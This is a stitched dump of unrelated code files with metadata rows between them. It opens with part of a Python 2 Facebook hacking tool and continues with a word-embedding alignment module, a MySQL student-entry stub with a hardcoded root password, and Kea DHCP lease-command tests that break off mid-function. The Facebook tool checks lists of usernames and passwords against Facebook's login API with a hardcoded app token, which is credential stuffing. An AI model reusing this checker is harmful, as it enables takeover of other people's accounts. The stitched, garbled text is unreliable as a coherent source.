try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print '\x1b[1;91m[?] \x1b[1;92mCreate in file\x1b[1;91m : \x1b[1;97musername|password'
print 42 * '\x1b[1;97m\xe2\x95\x90'
live = []
cek = []
die = []
try:
file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile path \x1b[1;91m:\x1b[1;97m ')
list = open(file, 'r').readlines()
except IOError:
print '\x1b[1;91m[!] File not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
lain()
pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mSeparator \x1b[1;91m:\x1b[1;97m ')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
for meki in list:
(username, password) = meki.strip().split(str(pemisah))
url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
data = requests.get(url)
mpsh = json.loads(data.text)
if 'access_token' in mpsh:
live.append(password)
print '\x1b[1;97m[ \x1b[1;92mLive\x1b[1;97m ] \x1b[1;97m' + username + '|' + password
continue
if 'www.facebook.com' in mpsh['error_msg']:
cek.append(password)
print '\x1b[1;97m[ \x1b[1;93mCheck\x1b[1;97m ] \x1b[1;97m' + username + '|' + password
continue
die.append(password)
print '\x1b[1;97m[ \x1b[1;91mDie\x1b[1;97m ] \x1b[1;97m' + username + '|' + password
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[+] \x1b[1;92mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die))
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
lain()
def grupsaya():
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
os.system('reset')
print logo
try:
uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket)
gud = json.loads(uh.text)
for p in gud['data']:
nama = p['name']
id = p['id']
f = open('out/Grupid.txt', 'w')
listgrup.append(id)
f.write(id + '\n')
print '\x1b[1;97m[ \x1b[1;92mMyGroup\x1b[1;97m ] ' + str(id) + ' => ' + str(nama)
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[+] \x1b[1;92mTotal Group \x1b[1;91m:\x1b[1;97m %s' % len(listgrup)
print '\x1b[1;91m[+] \x1b[1;92mSaved \x1b[1;91m: \x1b[1;97mout/Grupid.txt'
f.close()
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
lain()
except (KeyboardInterrupt, EOFError):
print '\x1b[1;91m[!] Stopped'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
lain()
except KeyError:
os.remove('out/Grupid.txt')
print '\x1b[1;91m[!] Group not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
lain()
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No Connection'
keluar()
except IOError:
print '\x1b[1;91m[!] Error'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
lain()
def guard():
global toket
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m Activate'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Not activate'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Back'
print '\xe2\x95\x91'
g = raw_input('\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97m')
if g == '1':
aktif = 'true'
gaz(toket, aktif)
elif g == '2':
non = 'false'
gaz(toket, non)
elif g == '0':
lain()
elif g == '':
keluar()
else:
keluar()
def get_userid(toket):
url = 'https://graph.facebook.com/me?access_token=%s' % toket
res = requests.get(url)
uid = json.loads(res.text)
return uid['id']
def gaz(toket, enable = True):
id = get_userid(toket)
data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id))
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Authorization': 'OAuth %s' % toket }
url = 'https://graph.facebook.com/graphql'
res = requests.post(url, data = data, headers = headers)
print res.text
if '"is_shielded":true' in res.text:
os.system('reset')
print logo
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mActivate'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
lain()
elif '"is_shielded":false' in res.text:
os.system('reset')
print logo
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mNot activate'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
lain()
else:
print '\x1b[1;91m[!] Error'
keluar()
if __name__ == '__main__':
masuk()
| 39.5379
| 1,885
| 0.520082
| 16,482
| 113,711
| 3.550055
| 0.044837
| 0.132759
| 0.098698
| 0.087333
| 0.85456
| 0.838324
| 0.815645
| 0.799204
| 0.772747
| 0.75335
| 0
| 0.14117
| 0.291766
| 113,711
| 2,875
| 1,886
| 39.551652
| 0.58538
| 0.002243
| 0
| 0.696254
| 0
| 0.183632
| 0.43983
| 0.168697
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.04601
| 0.007736
| null | null | 0.217834
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
3dded0326bc75f5378f90e7d6faa2904cb391d64
| 5,167
|
py
|
Python
|
novel_methods.py
|
tnewman16/sentence-annotation
|
dfefcae9a1464182b6c69f9d753b6cc12d1239a0
|
[
"MIT"
] | null | null | null |
novel_methods.py
|
tnewman16/sentence-annotation
|
dfefcae9a1464182b6c69f9d753b6cc12d1239a0
|
[
"MIT"
] | null | null | null |
novel_methods.py
|
tnewman16/sentence-annotation
|
dfefcae9a1464182b6c69f9d753b6cc12d1239a0
|
[
"MIT"
] | null | null | null |
import word2vec
import numpy as np
import alignment
def alignment_v1(w2v,threshold,training_positive_annots,training_negative_annots,test_positive_annots,test_negative_annots):
train_positive_words = [entry["words"] for entry in training_positive_annots]
train_negative_words = [entry["words"] for entry in training_negative_annots]
test_positive_words = [entry["words"] for entry in test_positive_annots]
test_negative_words = [entry["words"] for entry in test_negative_annots]
train_positive_masks = [entry["mask"] for entry in training_positive_annots]
train_negative_masks = [entry["mask"] for entry in training_negative_annots]
test_positive_masks = [entry["mask"] for entry in test_positive_annots]
test_negative_masks = [entry["mask"] for entry in test_negative_annots]
alignment_method = alignment.Alignment(w2v)
alignment_method.train_v1(train_positive_words,train_positive_masks,train_negative_words,train_negative_masks)
train_positive_labels = np.ones(len(train_positive_words),).tolist()
train_negative_labels = np.zeros(len(train_negative_words),).tolist()
train_labels = train_positive_labels + train_negative_labels
test_positive_labels = np.ones(len(test_positive_words),).tolist()
test_negative_labels = np.zeros(len(test_negative_words),).tolist()
test_labels = test_positive_labels + test_negative_labels
train_data = train_positive_words + train_negative_words
training_pred_scores = []
training_pred_masks = []
for words in train_data:
score,mask = alignment_method.predict_v1(words)
training_pred_scores.append(score)
training_pred_masks.append(mask)
training_pred_labels = [float(score >= threshold) for score in training_pred_scores]
test_data = test_positive_words + test_negative_words
testing_pred_scores = []
testing_pred_masks = []
for words in test_data:
score,mask = alignment_method.predict_v1(words)
testing_pred_scores.append(score)
testing_pred_masks.append(mask)
testing_pred_labels = [float(score >= threshold) for score in testing_pred_scores]
return np.array(training_pred_labels), np.array(testing_pred_labels), np.array(train_labels), np.array(test_labels), np.array(training_pred_scores), np.array(training_pred_masks), np.array(testing_pred_scores), np.array(testing_pred_masks)
def alignment_v2(w2v,training_positive_annots,training_negative_annots,test_positive_annots,test_negative_annots):
train_positive_words = [entry["words"] for entry in training_positive_annots]
train_negative_words = [entry["words"] for entry in training_negative_annots]
test_positive_words = [entry["words"] for entry in test_positive_annots]
test_negative_words = [entry["words"] for entry in test_negative_annots]
train_positive_masks = [entry["mask"] for entry in training_positive_annots]
train_negative_masks = [entry["mask"] for entry in training_negative_annots]
test_positive_masks = [entry["mask"] for entry in test_positive_annots]
test_negative_masks = [entry["mask"] for entry in test_negative_annots]
alignment_method = alignment.Alignment(w2v)
alignment_method.train_v2(train_positive_words,train_positive_masks,train_negative_words,train_negative_masks)
train_positive_labels = np.ones(len(train_positive_words),).tolist()
train_negative_labels = np.zeros(len(train_negative_words),).tolist()
train_labels = train_positive_labels + train_negative_labels
test_positive_labels = np.ones(len(test_positive_words),).tolist()
test_negative_labels = np.zeros(len(test_negative_words),).tolist()
test_labels = test_positive_labels + test_negative_labels
train_data = train_positive_words + train_negative_words
training_pred_scores = []
training_pred_masks = []
training_pred_labels = []
for words in train_data:
pos_score,pos_mask,neg_score,neg_mask = alignment_method.predict_v2(words)
if pos_score > neg_score:
score = pos_score
mask = pos_mask
label = 1.0
else:
score = 1 - neg_score
mask = neg_mask
label = 0.0
training_pred_scores.append(score)
training_pred_masks.append(mask)
training_pred_labels.append(label)
test_data = test_positive_words + test_negative_words
testing_pred_scores = []
testing_pred_masks = []
testing_pred_labels = []
for words in test_data:
pos_score,pos_mask,neg_score,neg_mask = alignment_method.predict_v2(words)
if pos_score > neg_score:
score = pos_score
mask = pos_mask
label = 1.0
else:
score = 1 - neg_score
mask = neg_mask
label = 0.0
testing_pred_scores.append(score)
testing_pred_masks.append(mask)
testing_pred_labels.append(label)
return np.array(training_pred_labels), np.array(testing_pred_labels), np.array(train_labels), np.array(test_labels), np.array(training_pred_scores), np.array(training_pred_masks), np.array(testing_pred_scores), np.array(testing_pred_masks)
| 49.209524
| 244
| 0.748016
| 695
| 5,167
| 5.152518
| 0.066187
| 0.060318
| 0.04468
| 0.040212
| 0.954482
| 0.9327
| 0.9327
| 0.9327
| 0.893047
| 0.893047
| 0
| 0.005354
| 0.16857
| 5,167
| 105
| 245
| 49.209524
| 0.828212
| 0
| 0
| 0.853933
| 0
| 0
| 0.013932
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.022472
| false
| 0
| 0.033708
| 0
| 0.078652
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
3dec1f3f7b08a5fe518f5b158b86a125f7a7d852
| 244
|
py
|
Python
|
capstoneproject/helpers/__init__.py
|
jwillikers/content-rating
|
25ccdb02edd18d0118d60fce609b60baadef257b
|
[
"Apache-2.0"
] | 1
|
2021-02-03T20:55:33.000Z
|
2021-02-03T20:55:33.000Z
|
capstoneproject/helpers/__init__.py
|
jwillikers/content-rating
|
25ccdb02edd18d0118d60fce609b60baadef257b
|
[
"Apache-2.0"
] | null | null | null |
capstoneproject/helpers/__init__.py
|
jwillikers/content-rating
|
25ccdb02edd18d0118d60fce609b60baadef257b
|
[
"Apache-2.0"
] | null | null | null |
"""
Initializes the helpers package
"""
from capstoneproject.helpers.model_helpers import model_helper
from capstoneproject.helpers import form_helper
from capstoneproject.helpers import view_helpers
from capstoneproject.helpers import parsing
| 30.5
| 62
| 0.864754
| 29
| 244
| 7.137931
| 0.413793
| 0.36715
| 0.502415
| 0.463768
| 0.36715
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090164
| 244
| 7
| 63
| 34.857143
| 0.932432
| 0.127049
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
9ab563cb6aaba2af917fe94f6d136cc6d6a9f3f3
| 2,203
|
py
|
Python
|
STUDENTS1.py
|
XQuickmathsX/library-management-oncemore
|
e4e1650ebf40c63f9ed0aa0893cec010aebb0e76
|
[
"MIT"
] | null | null | null |
STUDENTS1.py
|
XQuickmathsX/library-management-oncemore
|
e4e1650ebf40c63f9ed0aa0893cec010aebb0e76
|
[
"MIT"
] | null | null | null |
STUDENTS1.py
|
XQuickmathsX/library-management-oncemore
|
e4e1650ebf40c63f9ed0aa0893cec010aebb0e76
|
[
"MIT"
] | null | null | null |
import mysql.connector
mydb= mysql.connector(host="127.0.0.1", user="root", passwd="2zkNKcz&EOZaRjc$",database="library_management_project")
mycursor=mydb.cursor()
def useradd():
studIDp=int(input("ENTER YOUR STUDENT_ID:- "))
#todo query to add this expression into the database
stfnamep=input("ENTER YOUR FIRST NAME:- ")
#todo query to add this expression into the database
stlnamep=input("ENTER YOUR LAST NAME:- ")
#todo query to add this expression into the database
stcoursep=input("ENTER YOUR COURSE:- ")
#todo query to add this expression into the database
styearp=int(input("ENTER YOUR ADMISSION YEAR:- "))
#todo query to add this expression into the database
stcontactp=int(input("ENTER YOUR CONTACT NUMBER:- "))
#todo query to add this expression into the database
stagep=int(input("ENTER YOUR AGE:- "))
#todo query to add this expression into the database
stbirthdatep=int(input("ENTER YOUR DATE OF BIRTH(MMDDYYYY):- "))
#todo query to add this expression into the database
stgenderp=input("ENTER YOUR GENDER:- ")
#todo query to add this expression into the database
def userupdate():
studIDp=int(input("ENTER YOUR STUDENT_ID:- "))
#todo query to update this expression into the database
stfnamep=input("ENTER YOUR FIRST NAME:- ")
#todo query to update this expression into the database
stlnamep=input("ENTER YOUR LAST NAME:- ")
#todo query to update this expression into the database
stcoursep=input("ENTER YOUR COURSE:- ")
#todo query to update this expression into the database
styearp=int(input("ENTER YOUR ADMISSION YEAR:- "))
#todo query to update this expression into the database
stcontactp=int(input("ENTER YOUR CONTACT NUMBER:- "))
#todo query to update this expression into the database
stagep=int(input("ENTER YOUR AGE:- "))
#todo query to update this expression into the database
stbirthdatep=int(input("ENTER YOUR DATE OF BIRTH(MMDDYYYY):- "))
#todo query to update this expression into the database
stgenderp=input("ENTER YOUR GENDER:- ")
#todo query to update this expression into the database
| 53.731707
| 118
| 0.708125
| 305
| 2,203
| 5.101639
| 0.196721
| 0.115681
| 0.161954
| 0.242931
| 0.904242
| 0.904242
| 0.904242
| 0.904242
| 0.904242
| 0.826478
| 0
| 0.003971
| 0.199728
| 2,203
| 41
| 119
| 53.731707
| 0.878616
| 0.428961
| 0
| 0.782609
| 0
| 0
| 0.413822
| 0.021649
| 0
| 0
| 0
| 0.02439
| 0
| 1
| 0.086957
| false
| 0.043478
| 0.043478
| 0
| 0.130435
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
b135b504c54ea33cba1f01a0cdb7b3aecf1f936a
| 20,426
|
py
|
Python
|
tests/dhcpv4/kea_only/leases_cmds/test_leases_cmds.py
|
isc-projects/forge
|
dfec8b41003d6b5a229f69ee93616e0e5cc6d71b
|
[
"0BSD"
] | 22
|
2015-02-27T11:51:05.000Z
|
2022-02-28T12:39:29.000Z
|
tests/dhcpv4/kea_only/leases_cmds/test_leases_cmds.py
|
isc-projects/forge
|
dfec8b41003d6b5a229f69ee93616e0e5cc6d71b
|
[
"0BSD"
] | 16
|
2018-10-30T15:00:12.000Z
|
2019-01-11T17:55:13.000Z
|
tests/dhcpv4/kea_only/leases_cmds/test_leases_cmds.py
|
isc-projects/forge
|
dfec8b41003d6b5a229f69ee93616e0e5cc6d71b
|
[
"0BSD"
] | 11
|
2015-02-27T11:51:36.000Z
|
2021-03-30T08:33:54.000Z
|
"""Kea leases manipulation commands"""
# pylint: disable=invalid-name,line-too-long
import pytest
import misc
import srv_msg
import srv_control
@pytest.mark.v4
@pytest.mark.kea_only
@pytest.mark.controlchannel
@pytest.mark.hook
@pytest.mark.lease_cmds
def test_hook_v4_lease_cmds_list():
misc.test_setup()
srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.5-192.168.50.5')
srv_control.config_srv_another_subnet_no_interface('10.0.0.0/24', '10.0.0.5-10.0.0.5')
srv_control.open_control_channel()
srv_control.add_hooks('libdhcp_lease_cmds.so')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
srv_msg.send_ctrl_cmd_via_socket('{"command":"list-commands","arguments":{}}')
@pytest.mark.v4
@pytest.mark.kea_only
@pytest.mark.controlchannel
@pytest.mark.hook
@pytest.mark.lease_cmds
def test_hook_v4_lease_cmds_update():
misc.test_setup()
srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.1-192.168.50.1')
srv_control.config_srv_another_subnet_no_interface('10.0.0.0/24', '10.0.0.5-10.0.0.5')
srv_control.open_control_channel()
srv_control.add_hooks('libdhcp_lease_cmds.so')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
misc.test_procedure()
srv_msg.client_copy_option('server_id')
srv_msg.client_does_include_with_value('requested_addr', '192.168.50.1')
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ACK')
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_include_option(1)
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
srv_msg.lease_file_contains('192.168.50.1,ff:01:02:03:ff:04,,')
srv_msg.lease_file_contains(',1,0,0,,0')
srv_msg.lease_file_doesnt_contain('192.168.50.1,1a:1b:1c:1d:1e:1f,,4000')
srv_msg.lease_file_doesnt_contain('1,0,0,newhostname.example.org,0')
srv_msg.send_ctrl_cmd_via_socket('{"command":"lease4-get","arguments":{"ip-address": "192.168.50.1"}}')
srv_msg.send_ctrl_cmd_via_socket('{"command":"lease4-update","arguments":{"ip-address": "192.168.50.1","hostname": "newhostname.example.org","hw-address": "1a:1b:1c:1d:1e:1f","subnet-id":1}}')
srv_msg.send_ctrl_cmd_via_socket('{"command":"lease4-get","arguments":{"ip-address": "192.168.50.1"}}')
srv_msg.lease_file_contains('192.168.50.1,1a:1b:1c:1d:1e:1f,,4000')
srv_msg.lease_file_contains('1,0,0,newhostname.example.org,0')
@pytest.mark.v4
@pytest.mark.kea_only
@pytest.mark.controlchannel
@pytest.mark.hook
@pytest.mark.lease_cmds
def test_hook_v4_lease_cmds_get_1():
misc.test_setup()
srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.1-192.168.50.1')
srv_control.config_srv_another_subnet_no_interface('10.0.0.0/24', '10.0.0.5-10.0.0.5')
srv_control.open_control_channel()
srv_control.add_hooks('libdhcp_lease_cmds.so')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
misc.test_procedure()
srv_msg.client_copy_option('server_id')
srv_msg.client_does_include_with_value('requested_addr', '192.168.50.1')
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ACK')
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_include_option(1)
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
srv_msg.send_ctrl_cmd_via_socket('{"command":"lease4-get","arguments":{"ip-address": "192.168.50.1"}}')
@pytest.mark.v4
@pytest.mark.kea_only
@pytest.mark.controlchannel
@pytest.mark.hook
@pytest.mark.lease_cmds
def test_hook_v4_lease_cmds_get_2():
misc.test_setup()
srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.1-192.168.50.1')
srv_control.config_srv_another_subnet_no_interface('10.0.0.0/24', '10.0.0.5-10.0.0.5')
srv_control.open_control_channel()
srv_control.add_hooks('libdhcp_lease_cmds.so')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
misc.test_procedure()
srv_msg.client_copy_option('server_id')
srv_msg.client_does_include_with_value('requested_addr', '192.168.50.1')
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('REQUEST')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'ACK')
srv_msg.response_check_content('yiaddr', '192.168.50.1')
srv_msg.response_check_include_option(1)
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
srv_msg.send_ctrl_cmd_via_socket('{"command":"lease4-get","arguments":{"identifier-type": "hw-address","identifier": "ff:01:02:03:ff:04","subnet-id":1}}')
@pytest.mark.v4
@pytest.mark.kea_only
@pytest.mark.controlchannel
@pytest.mark.hook
@pytest.mark.lease_cmds
def test_hook_v4_lease_cmds_add_notvalid_id():
misc.test_setup()
srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.5-192.168.50.5')
srv_control.open_control_channel()
srv_control.add_hooks('libdhcp_lease_cmds.so')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
response = srv_msg.send_ctrl_cmd_via_socket('{"command": "lease4-add","arguments": {"subnet-id": 44,"ip-address": "192.168.50.5","hw-address": "1a:1b:1c:1d:1e:1f"}}',
exp_result=1)
assert response['text'] == 'Invalid subnet-id: No IPv4 subnet with subnet-id=44 currently configured.'
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.5')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
@pytest.mark.v4
@pytest.mark.kea_only
@pytest.mark.controlchannel
@pytest.mark.hook
@pytest.mark.lease_cmds
def test_hook_v4_lease_cmds_add_address_from_different_subnet():
misc.test_setup()
srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.5-192.168.50.5')
srv_control.open_control_channel()
srv_control.add_hooks('libdhcp_lease_cmds.so')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
response = srv_msg.send_ctrl_cmd_via_socket('{"command": "lease4-add","arguments": {"subnet-id": 1,"ip-address": "192.0.2.202","hw-address": "1a:1b:1c:1d:1e:1f"}}',
exp_result=1)
assert response['text'] == 'The address 192.0.2.202 does not belong to subnet 192.168.50.0/24, subnet-id=1'
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.5')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
@pytest.mark.v4
@pytest.mark.kea_only
@pytest.mark.controlchannel
@pytest.mark.hook
@pytest.mark.lease_cmds
def test_hook_v4_lease_cmds_add_valid():
misc.test_setup()
srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.5-192.168.50.5')
srv_control.open_control_channel()
srv_control.add_hooks('libdhcp_lease_cmds.so')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.5')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
srv_msg.send_ctrl_cmd_via_socket('{"command": "lease4-add","arguments": {"subnet-id": 1,"ip-address": "192.168.50.5","hw-address": "1a:1b:1c:1d:1e:1f"}}')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_dont_wait_for_message()
@pytest.mark.v4
@pytest.mark.kea_only
@pytest.mark.controlchannel
@pytest.mark.hook
@pytest.mark.lease_cmds
def test_hook_v4_lease_cmds_add_outside_pool():
misc.test_setup()
srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.5-192.168.50.5')
srv_control.open_control_channel()
srv_control.add_hooks('libdhcp_lease_cmds.so')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.5')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
srv_msg.send_ctrl_cmd_via_socket('{"command": "lease4-add","arguments": {"subnet-id": 1,"ip-address": "192.168.50.50","hw-address": "1a:1b:1c:1d:1e:1f"}}')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_sets_value('Client', 'chaddr', 'ff:01:02:03:ff:04')
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.5')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
# Now we have to check if lease 192.168.50.50 was actually added -- check leases file
srv_msg.lease_file_contains('1a:1b:1c:1d:1e:1f')
@pytest.mark.v4
@pytest.mark.kea_only
@pytest.mark.controlchannel
@pytest.mark.hook
@pytest.mark.lease_cmds
def test_hook_v4_lease_cmds_add_with_additional_values():
misc.test_setup()
srv_control.config_srv_subnet('192.168.50.0/24', '192.168.50.5-192.168.50.5')
srv_control.open_control_channel()
srv_control.add_hooks('libdhcp_lease_cmds.so')
srv_control.build_and_send_config_files()
srv_control.start_srv('DHCP', 'started')
misc.test_procedure()
srv_msg.client_requests_option(1)
srv_msg.client_send_msg('DISCOVER')
misc.pass_criteria()
srv_msg.send_wait_for_message('MUST', 'OFFER')
srv_msg.response_check_include_option(1)
srv_msg.response_check_content('yiaddr', '192.168.50.5')
srv_msg.response_check_option_content(1, 'value', '255.255.255.0')
srv_msg.send_ctrl_cmd_via_socket('{"command": "lease4-add","arguments": {"subnet-id": 1,"ip-address": "192.168.50.5","hw-address": "1a:1b:1c:1d:1e:1f","valid-lft":7777,"expire":123456789,"hostname":"my.host.some.name","client-id":"aa:bb:cc:dd:11:22"}}')
# Now we have to check if lease 192.168.50.50 was actually added -- check leases file
srv_msg.lease_file_contains('1a:1b:1c:1d:1e:1f')
srv_msg.lease_file_contains('aa:bb:cc:dd:11:22')
srv_msg.lease_file_contains('7777')
srv_msg.lease_file_contains('123456789')
srv_msg.lease_file_contains('my.host.some.name')
@pytest.mark.v4
@pytest.mark.kea_only
@pytest.mark.controlchannel
@pytest.mark.hook
@pytest.mark.lease_cmds
def test_hook_v4_lease_cmds_del_using_address():
misc.test_setup()
